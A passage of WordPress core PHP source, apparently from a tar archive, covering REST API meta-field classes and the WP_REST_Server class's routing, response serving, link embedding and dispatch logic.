	 * @return mixed Value prepared for output. If a non-JsonSerializable object, null.
	 */
	public static function prepare_value( $value, $request, $args ) {
		if ( $args['single'] ) {
			$schema = $args['schema'];
		} else {
			$schema = $args['schema']['items'];
		}

		if ( '' === $value && in_array( $schema['type'], array( 'boolean', 'integer', 'number' ), true ) ) {
			$value = static::get_empty_value_for_type( $schema['type'] );
		}

		if ( is_wp_error( rest_validate_value_from_schema( $value, $schema ) ) ) {
			return null;
		}

		return rest_sanitize_value_from_schema( $value, $schema );
	}

	/**
	 * Check the 'meta' value of a request is an associative array.
	 *
	 * @since 4.7.0
	 *
	 * @param mixed           $value   The meta value submitted in the request.
	 * @param WP_REST_Request $request Full details about the request.
	 * @param string          $param   The parameter name.
	 * @return array|false The meta array, if valid, false otherwise.
	 */
	public function check_meta_is_array( $value, $request, $param ) {
		if ( ! is_array( $value ) ) {
			return false;
		}

		return $value;
	}

	/**
	 * Recursively add additionalProperties = false to all objects in a schema if no additionalProperties setting
	 * is specified.
	 *
	 * This is needed to restrict properties of objects in meta values to only
	 * registered items, as the REST API will allow additional properties by
	 * default.
	 *
	 * @since 5.3.0
	 * @deprecated 5.6.0 Use rest_default_additional_properties_to_false() instead.
	 *
	 * @param array $schema The schema array.
	 * @return array
	 */
	protected function default_additional_properties_to_false( $schema ) {
		_deprecated_function( __METHOD__, '5.6.0', 'rest_default_additional_properties_to_false()' );

		return rest_default_additional_properties_to_false( $schema );
	}

	/**
	 * Gets the empty value for a schema type.
	 *
	 * @since 5.3.0
	 *
	 * @param string $type The schema type.
	 * @return mixed
	 */
	protected static function get_empty_value_for_type( $type ) {
		switch ( $type ) {
			case 'string':
				return '';
			case 'boolean':
				return false;
			case 'integer':
				return 0;
			case 'number':
				return 0.0;
			case 'array':
			case 'object':
				return array();
			default:
				return null;
		}
	}
}
fields/class-wp-rest-user-meta-fields.php000066600000001530152442706000014376 0ustar00<?php
/**
 * REST API: WP_REST_User_Meta_Fields class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class used to manage meta values for users via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Meta_Fields
 */
class WP_REST_User_Meta_Fields extends WP_REST_Meta_Fields {

	/**
	 * Retrieves the user meta type.
	 *
	 * @since 4.7.0
	 *
	 * @return string The user meta type.
	 */
	protected function get_meta_type() {
		return 'user';
	}

	/**
	 * Retrieves the user meta subtype.
	 *
	 * @since 4.9.8
	 *
	 * @return string 'user' There are no subtypes.
	 */
	protected function get_meta_subtype() {
		return 'user';
	}

	/**
	 * Retrieves the type for register_rest_field().
	 *
	 * @since 4.7.0
	 *
	 * @return string The user REST field type.
	 */
	public function get_rest_field_type() {
		return 'user';
	}
}
class-wp-rest-server.php000066600000161255152442706000011303 0ustar00<?php
/**
 * REST API: WP_REST_Server class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.4.0
 */

/**
 * Core class used to implement the WordPress REST API server.
 *
 * @since 4.4.0
 */
#[AllowDynamicProperties]
class WP_REST_Server {

	/**
	 * Alias for GET transport method.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	const READABLE = 'GET';

	/**
	 * Alias for POST transport method.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	const CREATABLE = 'POST';

	/**
	 * Alias for POST, PUT, PATCH transport methods together.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	const EDITABLE = 'POST, PUT, PATCH';

	/**
	 * Alias for DELETE transport method.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	const DELETABLE = 'DELETE';

	/**
	 * Alias for GET, POST, PUT, PATCH & DELETE transport methods together.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	const ALLMETHODS = 'GET, POST, PUT, PATCH, DELETE';

	/**
	 * Namespaces registered to the server.
	 *
	 * @since 4.4.0
	 * @var array
	 */
	protected $namespaces = array();

	/**
	 * Endpoints registered to the server.
	 *
	 * @since 4.4.0
	 * @var array
	 */
	protected $endpoints = array();

	/**
	 * Options defined for the routes.
	 *
	 * @since 4.4.0
	 * @var array
	 */
	protected $route_options = array();

	/**
	 * Caches embedded requests.
	 *
	 * @since 5.4.0
	 * @var array
	 */
	protected $embed_cache = array();

	/**
	 * Stores request objects that are currently being handled.
	 *
	 * @since 6.5.0
	 * @var array
	 */
	protected $dispatching_requests = array();

	/**
	 * Instantiates the REST server.
	 *
	 * @since 4.4.0
	 */
	public function __construct() {
		$this->endpoints = array(
			// Meta endpoints.
			'/'         => array(
				'callback' => array( $this, 'get_index' ),
				'methods'  => 'GET',
				'args'     => array(
					'context' => array(
						'default' => 'view',
					),
				),
			),
			'/batch/v1' => array(
				'callback' => array( $this, 'serve_batch_request_v1' ),
				'methods'  => 'POST',
				'args'     => array(
					'validation' => array(
						'type'    => 'string',
						'enum'    => array( 'require-all-validate', 'normal' ),
						'default' => 'normal',
					),
					'requests'   => array(
						'required' => true,
						'type'     => 'array',
						'maxItems' => $this->get_max_batch_size(),
						'items'    => array(
							'type'       => 'object',
							'properties' => array(
								'method'  => array(
									'type'    => 'string',
									'enum'    => array( 'POST', 'PUT', 'PATCH', 'DELETE' ),
									'default' => 'POST',
								),
								'path'    => array(
									'type'     => 'string',
									'required' => true,
								),
								'body'    => array(
									'type'                 => 'object',
									'properties'           => array(),
									'additionalProperties' => true,
								),
								'headers' => array(
									'type'                 => 'object',
									'properties'           => array(),
									'additionalProperties' => array(
										'type'  => array( 'string', 'array' ),
										'items' => array(
											'type' => 'string',
										),
									),
								),
							),
						),
					),
				),
			),
		);
	}


	/**
	 * Checks the authentication headers if supplied.
	 *
	 * @since 4.4.0
	 *
	 * @return WP_Error|null|true WP_Error if authentication error occurred, null if authentication
	 *                            method wasn't used, true if authentication succeeded.
	 */
	public function check_authentication() {
		/**
		 * Filters REST API authentication errors.
		 *
		 * This is used to pass a WP_Error from an authentication method back to
		 * the API.
		 *
		 * Authentication methods should check first if they're being used, as
		 * multiple authentication methods can be enabled on a site (cookies,
		 * HTTP basic auth, OAuth). If the authentication method hooked in is
		 * not actually being attempted, null should be returned to indicate
		 * another authentication method should check instead. Similarly,
		 * callbacks should ensure the value is `null` before checking for
		 * errors.
		 *
		 * A WP_Error instance can be returned if an error occurs, and this should
		 * match the format used by API methods internally (that is, the `status`
		 * data should be used). A callback can return `true` to indicate that
		 * the authentication method was used, and it succeeded.
		 *
		 * @since 4.4.0
		 *
		 * @param WP_Error|null|true $errors WP_Error if authentication error occurred, null if authentication
		 *                                   method wasn't used, true if authentication succeeded.
		 */
		return apply_filters( 'rest_authentication_errors', null );
	}

	/**
	 * Converts an error to a response object.
	 *
	 * This iterates over all error codes and messages to change it into a flat
	 * array. This enables simpler client behavior, as it is represented as a
	 * list in JSON rather than an object/map.
	 *
	 * @since 4.4.0
	 * @since 5.7.0 Converted to a wrapper of {@see rest_convert_error_to_response()}.
	 *
	 * @param WP_Error $error WP_Error instance.
	 * @return WP_REST_Response List of associative arrays with code and message keys.
	 */
	protected function error_to_response( $error ) {
		return rest_convert_error_to_response( $error );
	}

	/**
	 * Retrieves an appropriate error representation in JSON.
	 *
	 * Note: This should only be used in WP_REST_Server::serve_request(), as it
	 * cannot handle WP_Error internally. All callbacks and other internal methods
	 * should instead return a WP_Error with the data set to an array that includes
	 * a 'status' key, with the value being the HTTP status to send.
	 *
	 * @since 4.4.0
	 *
	 * @param string   $code    WP_Error-style code.
	 * @param string   $message Human-readable message.
	 * @param int|null $status  Optional. HTTP status code to send. Default null.
	 * @return string JSON representation of the error.
	 */
	protected function json_error( $code, $message, $status = null ) {
		if ( $status ) {
			$this->set_status( $status );
		}

		$error = compact( 'code', 'message' );

		return wp_json_encode( $error );
	}

	/**
	 * Gets the encoding options passed to {@see wp_json_encode}.
	 *
	 * @since 6.1.0
	 *
	 * @param \WP_REST_Request $request The current request object.
	 *
	 * @return int The JSON encode options.
	 */
	protected function get_json_encode_options( WP_REST_Request $request ) {
		$options = 0;

		if ( $request->has_param( '_pretty' ) ) {
			$options |= JSON_PRETTY_PRINT;
		}

		/**
		 * Filters the JSON encoding options used to send the REST API response.
		 *
		 * @since 6.1.0
		 *
		 * @param int $options             JSON encoding options {@see json_encode()}.
		 * @param WP_REST_Request $request Current request object.
		 */
		return apply_filters( 'rest_json_encode_options', $options, $request );
	}

	/**
	 * Handles serving a REST API request.
	 *
	 * Matches the current server URI to a route and runs the first matching
	 * callback then outputs a JSON representation of the returned value.
	 *
	 * @since 4.4.0
	 *
	 * @see WP_REST_Server::dispatch()
	 *
	 * @global WP_User $current_user The currently authenticated user.
	 *
	 * @param string|null $path Optional. The request route. If not set, `$_SERVER['PATH_INFO']` will be used.
	 *                          Default null.
	 * @return null|false Null if not served and a HEAD request, false otherwise.
	 */
	public function serve_request( $path = null ) {
		/* @var WP_User|null $current_user */
		global $current_user;

		if ( $current_user instanceof WP_User && ! $current_user->exists() ) {
			/*
			 * If there is no current user authenticated via other means, clear
			 * the cached lack of user, so that an authenticate check can set it
			 * properly.
			 *
			 * This is done because for authentications such as Application
			 * Passwords, we don't want it to be accepted unless the current HTTP
			 * request is a REST API request, which can't always be identified early
			 * enough in evaluation.
			 */
			$current_user = null;
		}

		/**
		 * Filters whether JSONP is enabled for the REST API.
		 *
		 * @since 4.4.0
		 *
		 * @param bool $jsonp_enabled Whether JSONP is enabled. Default true.
		 */
		$jsonp_enabled = apply_filters( 'rest_jsonp_enabled', true );

		$jsonp_callback = false;
		if ( isset( $_GET['_jsonp'] ) ) {
			$jsonp_callback = $_GET['_jsonp'];
		}

		$content_type = ( $jsonp_callback && $jsonp_enabled ) ? 'application/javascript' : 'application/json';
		$this->send_header( 'Content-Type', $content_type . '; charset=' . get_option( 'blog_charset' ) );
		$this->send_header( 'X-Robots-Tag', 'noindex' );

		$api_root = get_rest_url();
		if ( ! empty( $api_root ) ) {
			$this->send_header( 'Link', '<' . sanitize_url( $api_root ) . '>; rel="https://api.w.org/"' );
		}

		/*
		 * Mitigate possible JSONP Flash attacks.
		 *
		 * https://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/
		 */
		$this->send_header( 'X-Content-Type-Options', 'nosniff' );

		/**
		 * Filters whether the REST API is enabled.
		 *
		 * @since 4.4.0
		 * @deprecated 4.7.0 Use the {@see 'rest_authentication_errors'} filter to
		 *                   restrict access to the REST API.
		 *
		 * @param bool $rest_enabled Whether the REST API is enabled. Default true.
		 */
		apply_filters_deprecated(
			'rest_enabled',
			array( true ),
			'4.7.0',
			'rest_authentication_errors',
			sprintf(
				/* translators: %s: rest_authentication_errors */
				__( 'The REST API can no longer be completely disabled, the %s filter can be used to restrict access to the API, instead.' ),
				'rest_authentication_errors'
			)
		);

		if ( $jsonp_callback ) {
			if ( ! $jsonp_enabled ) {
				echo $this->json_error( 'rest_callback_disabled', __( 'JSONP support is disabled on this site.' ), 400 );
				return false;
			}

			if ( ! wp_check_jsonp_callback( $jsonp_callback ) ) {
				echo $this->json_error( 'rest_callback_invalid', __( 'Invalid JSONP callback function.' ), 400 );
				return false;
			}
		}

		if ( empty( $path ) ) {
			if ( isset( $_SERVER['PATH_INFO'] ) ) {
				$path = $_SERVER['PATH_INFO'];
			} else {
				$path = '/';
			}
		}

		$request = new WP_REST_Request( $_SERVER['REQUEST_METHOD'], $path );

		$request->set_query_params( wp_unslash( $_GET ) );
		$request->set_body_params( wp_unslash( $_POST ) );
		$request->set_file_params( $_FILES );
		$request->set_headers( $this->get_headers( wp_unslash( $_SERVER ) ) );
		$request->set_body( self::get_raw_data() );

		/*
		 * HTTP method override for clients that can't use PUT/PATCH/DELETE. First, we check
		 * $_GET['_method']. If that is not set, we check for the HTTP_X_HTTP_METHOD_OVERRIDE
		 * header.
		 */
		$method_overridden = false;
		if ( isset( $_GET['_method'] ) ) {
			$request->set_method( $_GET['_method'] );
		} elseif ( isset( $_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'] ) ) {
			$request->set_method( $_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'] );
			$method_overridden = true;
		}

		$expose_headers = array( 'X-WP-Total', 'X-WP-TotalPages', 'Link' );

		/**
		 * Filters the list of response headers that are exposed to REST API CORS requests.
		 *
		 * @since 5.5.0
		 * @since 6.3.0 The `$request` parameter was added.
		 *
		 * @param string[]        $expose_headers The list of response headers to expose.
		 * @param WP_REST_Request $request        The request in context.
		 */
		$expose_headers = apply_filters( 'rest_exposed_cors_headers', $expose_headers, $request );

		$this->send_header( 'Access-Control-Expose-Headers', implode( ', ', $expose_headers ) );

		$allow_headers = array(
			'Authorization',
			'X-WP-Nonce',
			'Content-Disposition',
			'Content-MD5',
			'Content-Type',
		);

		/**
		 * Filters the list of request headers that are allowed for REST API CORS requests.
		 *
		 * The allowed headers are passed to the browser to specify which
		 * headers can be passed to the REST API. By default, we allow the
		 * Content-* headers needed to upload files to the media endpoints.
		 * As well as the Authorization and Nonce headers for allowing authentication.
		 *
		 * @since 5.5.0
		 * @since 6.3.0 The `$request` parameter was added.
		 *
		 * @param string[]        $allow_headers The list of request headers to allow.
		 * @param WP_REST_Request $request       The request in context.
		 */
		$allow_headers = apply_filters( 'rest_allowed_cors_headers', $allow_headers, $request );

		$this->send_header( 'Access-Control-Allow-Headers', implode( ', ', $allow_headers ) );

		$result = $this->check_authentication();

		if ( ! is_wp_error( $result ) ) {
			$result = $this->dispatch( $request );
		}

		// Normalize to either WP_Error or WP_REST_Response...
		$result = rest_ensure_response( $result );

		// ...then convert WP_Error across.
		if ( is_wp_error( $result ) ) {
			$result = $this->error_to_response( $result );
		}

		/**
		 * Filters the REST API response.
		 *
		 * Allows modification of the response before returning.
		 *
		 * @since 4.4.0
		 * @since 4.5.0 Applied to embedded responses.
		 *
		 * @param WP_HTTP_Response $result  Result to send to the client. Usually a `WP_REST_Response`.
		 * @param WP_REST_Server   $server  Server instance.
		 * @param WP_REST_Request  $request Request used to generate the response.
		 */
		$result = apply_filters( 'rest_post_dispatch', rest_ensure_response( $result ), $this, $request );

		// Wrap the response in an envelope if asked for.
		if ( isset( $_GET['_envelope'] ) ) {
			$embed  = isset( $_GET['_embed'] ) ? rest_parse_embed_param( $_GET['_embed'] ) : false;
			$result = $this->envelope_response( $result, $embed );
		}

		// Send extra data from response objects.
		$headers = $result->get_headers();
		$this->send_headers( $headers );

		$code = $result->get_status();
		$this->set_status( $code );

		/**
		 * Filters whether to send no-cache headers on a REST API request.
		 *
		 * @since 4.4.0
		 * @since 6.3.2 Moved the block to catch the filter added on rest_cookie_check_errors() from wp-includes/rest-api.php.
		 *
		 * @param bool $rest_send_nocache_headers Whether to send no-cache headers.
		 */
		$send_no_cache_headers = apply_filters( 'rest_send_nocache_headers', is_user_logged_in() );

		/*
		 * Send no-cache headers if $send_no_cache_headers is true,
		 * OR if the HTTP_X_HTTP_METHOD_OVERRIDE is used but resulted a 4xx response code.
		 */
		if ( $send_no_cache_headers || ( true === $method_overridden && str_starts_with( $code, '4' ) ) ) {
			foreach ( wp_get_nocache_headers() as $header => $header_value ) {
				if ( empty( $header_value ) ) {
					$this->remove_header( $header );
				} else {
					$this->send_header( $header, $header_value );
				}
			}
		}

		/**
		 * Filters whether the REST API request has already been served.
		 *
		 * Allow sending the request manually - by returning true, the API result
		 * will not be sent to the client.
		 *
		 * @since 4.4.0
		 *
		 * @param bool             $served  Whether the request has already been served.
		 *                                           Default false.
		 * @param WP_HTTP_Response $result  Result to send to the client. Usually a `WP_REST_Response`.
		 * @param WP_REST_Request  $request Request used to generate the response.
		 * @param WP_REST_Server   $server  Server instance.
		 */
		$served = apply_filters( 'rest_pre_serve_request', false, $result, $request, $this );

		if ( ! $served ) {
			if ( 'HEAD' === $request->get_method() ) {
				return null;
			}

			// Embed links inside the request.
			$embed  = isset( $_GET['_embed'] ) ? rest_parse_embed_param( $_GET['_embed'] ) : false;
			$result = $this->response_to_data( $result, $embed );

			/**
			 * Filters the REST API response.
			 *
			 * Allows modification of the response data after inserting
			 * embedded data (if any) and before echoing the response data.
			 *
			 * @since 4.8.1
			 *
			 * @param array            $result  Response data to send to the client.
			 * @param WP_REST_Server   $server  Server instance.
			 * @param WP_REST_Request  $request Request used to generate the response.
			 */
			$result = apply_filters( 'rest_pre_echo_response', $result, $this, $request );

			// The 204 response shouldn't have a body.
			if ( 204 === $code || null === $result ) {
				return null;
			}

			$result = wp_json_encode( $result, $this->get_json_encode_options( $request ) );

			$json_error_message = $this->get_json_last_error();

			if ( $json_error_message ) {
				$this->set_status( 500 );
				$json_error_obj = new WP_Error(
					'rest_encode_error',
					$json_error_message,
					array( 'status' => 500 )
				);

				$result = $this->error_to_response( $json_error_obj );
				$result = wp_json_encode( $result->data, $this->get_json_encode_options( $request ) );
			}

			if ( $jsonp_callback ) {
				// Prepend '/**/' to mitigate possible JSONP Flash attacks.
				// https://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/
				echo '/**/' . $jsonp_callback . '(' . $result . ')';
			} else {
				echo $result;
			}
		}

		return null;
	}

	/**
	 * Converts a response to data to send.
	 *
	 * @since 4.4.0
	 * @since 5.4.0 The `$embed` parameter can now contain a list of link relations to include.
	 *
	 * @param WP_REST_Response $response Response object.
	 * @param bool|string[]    $embed    Whether to embed all links, a filtered list of link relations, or no links.
	 * @return array {
	 *     Data with sub-requests embedded.
	 *
	 *     @type array $_links    Links.
	 *     @type array $_embedded Embedded objects.
	 * }
	 */
	public function response_to_data( $response, $embed ) {
		$data  = $response->get_data();
		$links = self::get_compact_response_links( $response );

		if ( ! empty( $links ) ) {
			// Convert links to part of the data.
			$data['_links'] = $links;
		}

		if ( $embed ) {
			$this->embed_cache = array();
			// Determine if this is a numeric array.
			if ( wp_is_numeric_array( $data ) ) {
				foreach ( $data as $key => $item ) {
					$data[ $key ] = $this->embed_links( $item, $embed );
				}
			} else {
				$data = $this->embed_links( $data, $embed );
			}
			$this->embed_cache = array();
		}

		return $data;
	}

	/**
	 * Retrieves links from a response.
	 *
	 * Extracts the links from a response into a structured hash, suitable for
	 * direct output.
	 *
	 * @since 4.4.0
	 *
	 * @param WP_REST_Response $response Response to extract links from.
	 * @return array Map of link relation to list of link hashes.
	 */
	public static function get_response_links( $response ) {
		$links = $response->get_links();

		if ( empty( $links ) ) {
			return array();
		}

		// Convert links to part of the data.
		$data = array();
		foreach ( $links as $rel => $items ) {
			$data[ $rel ] = array();

			foreach ( $items as $item ) {
				$attributes         = $item['attributes'];
				$attributes['href'] = $item['href'];

				if ( 'self' !== $rel ) {
					$data[ $rel ][] = $attributes;
					continue;
				}

				$target_hints = self::get_target_hints_for_link( $attributes );
				if ( $target_hints ) {
					$attributes['targetHints'] = $target_hints;
				}

				$data[ $rel ][] = $attributes;
			}
		}

		return $data;
	}

	/**
	 * Gets the target hints for a REST API Link.
	 *
	 * @since 6.7.0
	 *
	 * @param array $link The link to get target hints for.
	 * @return array|null
	 */
	protected static function get_target_hints_for_link( $link ) {
		// Prefer targetHints that were specifically designated by the developer.
		if ( isset( $link['targetHints']['allow'] ) ) {
			return null;
		}

		$request = WP_REST_Request::from_url( $link['href'] );
		if ( ! $request ) {
			return null;
		}

		$server = rest_get_server();
		$match  = $server->match_request_to_handler( $request );

		if ( is_wp_error( $match ) ) {
			return null;
		}

		if ( is_wp_error( $request->has_valid_params() ) ) {
			return null;
		}

		if ( is_wp_error( $request->sanitize_params() ) ) {
			return null;
		}

		$target_hints = array();

		$response = new WP_REST_Response();
		$response->set_matched_route( $match[0] );
		$response->set_matched_handler( $match[1] );
		$headers = rest_send_allow_header( $response, $server, $request )->get_headers();

		foreach ( $headers as $name => $value ) {
			$name = WP_REST_Request::canonicalize_header_name( $name );

			$target_hints[ $name ] = array_map( 'trim', explode( ',', $value ) );
		}

		return $target_hints;
	}

	/**
	 * Retrieves the CURIEs (compact URIs) used for relations.
	 *
	 * Extracts the links from a response into a structured hash, suitable for
	 * direct output.
	 *
	 * @since 4.5.0
	 *
	 * @param WP_REST_Response $response Response to extract links from.
	 * @return array Map of link relation to list of link hashes.
	 */
	public static function get_compact_response_links( $response ) {
		$links = self::get_response_links( $response );

		if ( empty( $links ) ) {
			return array();
		}

		$curies      = $response->get_curies();
		$used_curies = array();

		foreach ( $links as $rel => $items ) {

			// Convert $rel URIs to their compact versions if they exist.
			foreach ( $curies as $curie ) {
				$href_prefix = substr( $curie['href'], 0, strpos( $curie['href'], '{rel}' ) );
				if ( ! str_starts_with( $rel, $href_prefix ) ) {
					continue;
				}

				// Relation now changes from '$uri' to '$curie:$relation'.
				$rel_regex = str_replace( '\{rel\}', '(.+)', preg_quote( $curie['href'], '!' ) );
				preg_match( '!' . $rel_regex . '!', $rel, $matches );
				if ( $matches ) {
					$new_rel                       = $curie['name'] . ':' . $matches[1];
					$used_curies[ $curie['name'] ] = $curie;
					$links[ $new_rel ]             = $items;
					unset( $links[ $rel ] );
					break;
				}
			}
		}

		// Push the curies onto the start of the links array.
		if ( $used_curies ) {
			$links['curies'] = array_values( $used_curies );
		}

		return $links;
	}

	/**
	 * Embeds the links from the data into the request.
	 *
	 * @since 4.4.0
	 * @since 5.4.0 The `$embed` parameter can now contain a list of link relations to include.
	 *
	 * @param array         $data  Data from the request.
	 * @param bool|string[] $embed Whether to embed all links or a filtered list of link relations.
	 *                             Default true.
	 * @return array {
	 *     Data with sub-requests embedded.
	 *
	 *     @type array $_links    Links.
	 *     @type array $_embedded Embedded objects.
	 * }
	 */
	protected function embed_links( $data, $embed = true ) {
		if ( empty( $data['_links'] ) ) {
			return $data;
		}

		$embedded = array();

		foreach ( $data['_links'] as $rel => $links ) {
			/*
			 * If a list of relations was specified, and the link relation
			 * is not in the list of allowed relations, don't process the link.
			 */
			if ( is_array( $embed ) && ! in_array( $rel, $embed, true ) ) {
				continue;
			}

			$embeds = array();

			foreach ( $links as $item ) {
				// Determine if the link is embeddable.
				if ( empty( $item['embeddable'] ) ) {
					// Ensure we keep the same order.
					$embeds[] = array();
					continue;
				}

				if ( ! array_key_exists( $item['href'], $this->embed_cache ) ) {
					// Run through our internal routing and serve.
					$request = WP_REST_Request::from_url( $item['href'] );
					if ( ! $request ) {
						$embeds[] = array();
						continue;
					}

					// Embedded resources get passed context=embed.
					if ( empty( $request['context'] ) ) {
						$request['context'] = 'embed';
					}

					if ( empty( $request['per_page'] ) ) {
						$matched = $this->match_request_to_handler( $request );
						if ( ! is_wp_error( $matched ) && isset( $matched[1]['args']['per_page']['maximum'] ) ) {
							$request['per_page'] = (int) $matched[1]['args']['per_page']['maximum'];
						}
					}

					$response = $this->dispatch( $request );

					/** This filter is documented in wp-includes/rest-api/class-wp-rest-server.php */
					$response = apply_filters( 'rest_post_dispatch', rest_ensure_response( $response ), $this, $request );

					$this->embed_cache[ $item['href'] ] = $this->response_to_data( $response, false );
				}

				$embeds[] = $this->embed_cache[ $item['href'] ];
			}

			// Determine if any real links were found.
			$has_links = count( array_filter( $embeds ) );

			if ( $has_links ) {
				$embedded[ $rel ] = $embeds;
			}
		}

		if ( ! empty( $embedded ) ) {
			$data['_embedded'] = $embedded;
		}

		return $data;
	}

	/**
	 * Wraps the response in an envelope.
	 *
	 * The enveloping technique is used to work around browser/client
	 * compatibility issues. Essentially, it converts the full HTTP response to
	 * data instead.
	 *
	 * @since 4.4.0
	 * @since 6.0.0 The `$embed` parameter can now contain a list of link relations to include.
	 *
	 * @param WP_REST_Response $response Response object.
	 * @param bool|string[]    $embed    Whether to embed all links, a filtered list of link relations, or no links.
	 * @return WP_REST_Response New response with wrapped data
	 */
	public function envelope_response( $response, $embed ) {
		$envelope = array(
			'body'    => $this->response_to_data( $response, $embed ),
			'status'  => $response->get_status(),
			'headers' => $response->get_headers(),
		);

		/**
		 * Filters the enveloped form of a REST API response.
		 *
		 * @since 4.4.0
		 *
		 * @param array            $envelope {
		 *     Envelope data.
		 *
		 *     @type array $body    Response data.
		 *     @type int   $status  The 3-digit HTTP status code.
		 *     @type array $headers Map of header name to header value.
		 * }
		 * @param WP_REST_Response $response Original response data.
		 */
		$envelope = apply_filters( 'rest_envelope_response', $envelope, $response );

		// Ensure it's still a response and return.
		return rest_ensure_response( $envelope );
	}

	/**
	 * Registers a route to the server.
	 *
	 * @since 4.4.0
	 *
	 * @param string $route_namespace Namespace.
	 * @param string $route           The REST route.
	 * @param array  $route_args      Route arguments.
	 * @param bool   $override        Optional. Whether the route should be overridden if it already exists.
	 *                                Default false.
	 */
	public function register_route( $route_namespace, $route, $route_args, $override = false ) {
		if ( ! isset( $this->namespaces[ $route_namespace ] ) ) {
			$this->namespaces[ $route_namespace ] = array();

			$this->register_route(
				$route_namespace,
				'/' . $route_namespace,
				array(
					array(
						'methods'  => self::READABLE,
						'callback' => array( $this, 'get_namespace_index' ),
						'args'     => array(
							'namespace' => array(
								'default' => $route_namespace,
							),
							'context'   => array(
								'default' => 'view',
							),
						),
					),
				)
			);
		}

		// Associative to avoid double-registration.
		$this->namespaces[ $route_namespace ][ $route ] = true;

		$route_args['namespace'] = $route_namespace;

		if ( $override || empty( $this->endpoints[ $route ] ) ) {
			$this->endpoints[ $route ] = $route_args;
		} else {
			$this->endpoints[ $route ] = array_merge( $this->endpoints[ $route ], $route_args );
		}
	}

	/**
	 * Retrieves the route map.
	 *
	 * The route map is an associative array with path regexes as the keys. The
	 * value is an indexed array with the callback function/method as the first
	 * item, and a bitmask of HTTP methods as the second item (see the class
	 * constants).
	 *
	 * Each route can be mapped to more than one callback by using an array of
	 * the indexed arrays. This allows mapping e.g. GET requests to one callback
	 * and POST requests to another.
	 *
	 * Note that the path regexes (array keys) must have @ escaped, as this is
	 * used as the delimiter with preg_match()
	 *
	 * @since 4.4.0
	 * @since 5.4.0 Added `$route_namespace` parameter.
	 *
	 * @param string $route_namespace Optionally, only return routes in the given namespace.
	 * @return array `'/path/regex' => array( $callback, $bitmask )` or
	 *               `'/path/regex' => array( array( $callback, $bitmask ), ...)`.
	 */
	public function get_routes( $route_namespace = '' ) {
		$endpoints = $this->endpoints;

		if ( $route_namespace ) {
			$endpoints = wp_list_filter( $endpoints, array( 'namespace' => $route_namespace ) );
		}

		/**
		 * Filters the array of available REST API endpoints.
		 *
		 * @since 4.4.0
		 *
		 * @param array $endpoints The available endpoints. An array of matching regex patterns, each mapped
		 *                         to an array of callbacks for the endpoint. These take the format
		 *                         `'/path/regex' => array( $callback, $bitmask )` or
		 *                         `'/path/regex' => array( array( $callback, $bitmask ).
		 */
		$endpoints = apply_filters( 'rest_endpoints', $endpoints );

		// Normalize the endpoints.
		$defaults = array(
			'methods'       => '',
			'accept_json'   => false,
			'accept_raw'    => false,
			'show_in_index' => true,
			'args'          => array(),
		);

		foreach ( $endpoints as $route => &$handlers ) {

			if ( isset( $handlers['callback'] ) ) {
				// Single endpoint, add one deeper.
				$handlers = array( $handlers );
			}

			if ( ! isset( $this->route_options[ $route ] ) ) {
				$this->route_options[ $route ] = array();
			}

			foreach ( $handlers as $key => &$handler ) {

				if ( ! is_numeric( $key ) ) {
					// Route option, move it to the options.
					$this->route_options[ $route ][ $key ] = $handler;
					unset( $handlers[ $key ] );
					continue;
				}

				$handler = wp_parse_args( $handler, $defaults );

				// Allow comma-separated HTTP methods.
				if ( is_string( $handler['methods'] ) ) {
					$methods = explode( ',', $handler['methods'] );
				} elseif ( is_array( $handler['methods'] ) ) {
					$methods = $handler['methods'];
				} else {
					$methods = array();
				}

				$handler['methods'] = array();

				foreach ( $methods as $method ) {
					$method                        = strtoupper( trim( $method ) );
					$handler['methods'][ $method ] = true;
				}
			}
		}

		return $endpoints;
	}

	/**
	 * Retrieves namespaces registered on the server.
	 *
	 * @since 4.4.0
	 *
	 * @return string[] List of registered namespaces.
	 */
	public function get_namespaces() {
		return array_keys( $this->namespaces );
	}

	/**
	 * Retrieves specified options for a route.
	 *
	 * @since 4.4.0
	 *
	 * @param string $route Route pattern to fetch options for.
	 * @return array|null Data as an associative array if found, or null if not found.
	 */
	public function get_route_options( $route ) {
		if ( ! isset( $this->route_options[ $route ] ) ) {
			return null;
		}

		return $this->route_options[ $route ];
	}

	/**
	 * Matches the request to a callback and call it.
	 *
	 * @since 4.4.0
	 *
	 * @param WP_REST_Request $request Request to attempt dispatching.
	 * @return WP_REST_Response Response returned by the callback.
	 */
	public function dispatch( $request ) {
		$this->dispatching_requests[] = $request;

		/**
		 * Filters the pre-calculated result of a REST API dispatch request.
		 *
		 * Allow hijacking the request before dispatching by returning a non-empty. The returned value
		 * will be used to serve the request instead.
		 *
		 * @since 4.4.0
		 *
		 * @param mixed           $result  Response to replace the requested version with. Can be anything
		 *                                 a normal endpoint can return, or null to not hijack the request.
		 * @param WP_REST_Server  $server  Server instance.
		 * @param WP_REST_Request $request Request used to generate the response.
		 */
		$result = apply_filters( 'rest_pre_dispatch', null, $this, $request );

		if ( ! empty( $result ) ) {

			// Normalize to either WP_Error or WP_REST_Response...
			$result = rest_ensure_response( $result );

			// ...then convert WP_Error across.
			if ( is_wp_error( $result ) ) {
				$result = $this->error_to_response( $result );
			}

			array_pop( $this->dispatching_requests );
			return $result;
		}

		$error   = null;
		$matched = $this->match_request_to_handler( $request );

		if ( is_wp_error( $matched ) ) {
			$response = $this->error_to_response( $matched );
			array_pop( $this->dispatching_requests );
			return $response;
		}

		list( $route, $handler ) = $matched;

		if ( ! is_callable( $handler['callback'] ) ) {
			$error = new WP_Error(
				'rest_invalid_handler',
				__( 'The handler for the route is invalid.' ),
				array( 'status' => 500 )
			);
		}

		if ( ! is_wp_error( $error ) ) {
			$check_required = $request->has_valid_params();
			if ( is_wp_error( $check_required ) ) {
				$error = $check_required;
			} else {
				$check_sanitized = $request->sanitize_params();
				if ( is_wp_error( $check_sanitized ) ) {
					$error = $check_sanitized;
				}
			}
		}

